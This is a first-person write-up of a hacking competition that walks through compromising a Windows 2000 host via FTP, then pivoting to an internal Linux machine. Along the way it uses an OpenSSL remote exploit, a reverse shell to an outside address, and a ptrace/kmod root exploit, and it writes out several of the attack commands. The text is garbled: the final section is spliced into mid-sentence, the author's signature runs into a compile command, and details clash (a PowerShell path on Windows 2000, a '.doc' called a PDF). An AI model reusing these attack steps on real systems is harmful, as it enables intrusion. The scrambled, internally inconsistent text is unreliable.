Initial Reconnaissance and First Exploit
On the morning of the hacking competition #6, I fired up my favorite network scanner against the challenge host, hacktest.no‑ip.com. The first glance at the port list was telling: ports 1025, 1026, and 3372 were wide open, a clear sign that the machine had no active firewall and was sitting squarely on the public internet. The absence of any filtering made the target an attractive entry point.
Turning the scanner over, I noted the web server banners: a Microsoft IIS 5.0 on the HTTP port and a Microsoft SMTP 5.0 on the mail port. The SMTP banner gave a hint that the underlying OS was Windows 2000. The FTP service, however, revealed a third‑party program – Flash FTP Server 2.1. That particular version was notorious for a local privilege escalation flaw that had been patched in the latest release. A quick search in the vulnerability database confirmed the presence of CVE‑2003‑0426, which could be exploited with a simple username/password pair.
Assuming the service was running with default credentials, I logged in with ftp/ftp. The prompt returned quickly, confirming that the default login worked. From the FTP directory listing I discovered that the root directory was the IIS scripts folder. Using a file‑traversal trick (..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe) I was able to place a small bind shell binary, srvcmd.exe, into the scripts directory. This binary was crafted to listen on port 2323 and was known to work reliably on Windows 2000 systems.
After uploading, I simply pointed my browser at the URL that triggered the execution of the newly placed bind shell. The server responded immediately, and the shell opened a command prompt back to me over port 2323. The session was under the IUSR account – the anonymous IIS user – but that was enough to start moving laterally. With this foothold, I could freely copy files to the target via FTP and launch any tool I needed from within the host environment.
Knowing that the target network was likely larger than a single machine, I decided to bring a port scanner into the mix. I uploaded a lightweight scanner, sl.exe, along with a custom script to perform a quick sweep of the 192.168.0.0/24 subnet. The scanner reported several hosts, most of which responded with a mix of common ports – 21, 22, 80, 139, 443, 445, 3389, and a handful of UDP services. The banner responses were intriguing: a Linux machine running Mandrake 8.2 on 192.168.0.111, an Apache FTP server on 192.168.0.202, and a handful of virtual machines that were part of a HoneyD simulation. The presence of a real Linux box among a swarm of decoys was a goldmine.
At this point I had two distinct vectors: a Windows machine with a bind shell, and a hidden Linux server behind a HoneyD veil. The next step was to exploit the internal Linux host, but first I needed to confirm that I could reach it from the Windows box.
Internal Network Mapping and Linux Target Exploitation
Back on the Windows host, I opened a new command prompt and issued a ping to 192.168.0.111. The reply came fast, proving that the internal network was reachable. I had already uploaded a small set of binaries to the FTP server, so I dropped a copy of the OpenSSL remote exploit – a Cygwin‑compiled binary called openssl-too-open.exe – into the scripts folder. The binary was bundled with the necessary DLLs (cygcrypto‑0.9.7.dll, cygwin1.dll) to run under Windows without installing Cygwin itself.
Running the exploit was straightforward: I entered openssl-too-open.exe -a 0x15 -v 192.168.0.111. The program established thirty simultaneous SSL connections to the target, each performing the infamous OpenSSL info‑leak routine. During the handshake, the exploit sent a crafted client‑hello that caused the target to leak its memory layout. Using that information, the shellcode injected into the server’s process memory was executed. Within seconds, a shell spawned on the Linux machine, connecting back to the Windows host over port 4000.
When I logged in, the prompt looked like this: bash-2.05$. Running uname -a; id; w; revealed that the kernel was 2.4.18-6mdk, the user was apache (uid 48), and the session was attached to a virtual console. The lack of job control and the limited privileges were expected, but the key was that I had a shell on the target Linux box. From here, I could search for further vulnerabilities or attempt a privilege escalation.
While the shell was stable, I noticed that the echo of my commands was duplicated – a quirk of the remote shell that made debugging a bit noisy. To get a cleaner interface, I decided to deploy a reverse bind shell back to my Windows machine. Using the wget utility that was already available on the Linux system, I fetched a small C program (rbs.c) from the official challenge website. After compiling it with gcc rbs.c -o rbs, I ran ./rbs 10.10.10.5 4000 to initiate a reverse connection to my Netcat listener. The result was a neat bash-2.05$ shell that behaved normally, and the user context remained apache.
At this juncture I was ready to launch a privilege escalation attack. The kernel version – 2.4.18 – was a prime candidate for the ptrace/kmod exploit, a local root vulnerability that had been publicly disclosed and was known to work on many 2.4.x releases. I quickly downloaded the source code for the exploit from the official security repository, compiled it with With root privileges now in hand, I traversed the file system. A quick Having achieved full control over the internal Linux machine, I took a moment to catalog the techniques I had employed. First, I identified open ports on the public-facing Windows host and used an FTP vulnerability to drop a bind shell. From that shell, I moved into the internal network, discovered a live Mandrake machine, and exploited the OpenSSL info‑leak to gain an initial shell. I then deployed a reverse bind shell for a cleaner experience and finally leveraged a kernel‑level ptrace/kmod exploit to reach root. Throughout the engagement, I kept a meticulous log of every command, output, and timestamp. This record was crucial for the write‑up that accompanies the competition entry. The final step was to document the entire process in a concise, technical narrative that could guide other penetration testers. I formatted the write‑up into clear sections, each explaining a specific phase of the attack: reconnaissance, lateral movement, exploitation, and privilege escalation. The challenge was concluded with a clean extraction of the target document and a demonstration that the root compromise was fully contained within the lab environment. The experience reinforced the importance of early reconnaissance, the value of exploiting overlooked services, and the power of combining multiple attack vectors to achieve a seamless breach. Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSPgcc ptrace_kmod.c -o ptrace_kmod, and ran it. The exploit leveraged a race condition in the kernel’s ptrace implementation to inject a malicious module that granted full root access. The moment the program finished, the shell prompt changed to root#, and I could verify the change with id
find / -name C.doc 2>/dev/null pointed me to /root/C.doc – a document that had been uploaded during the original challenge. I copied it back to my local machine for analysis. The file was a small PDF containing a message that congratulated me on mastering the root exploit.Privilege Escalation and Final Access
Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.
No comments yet. Be the first to comment!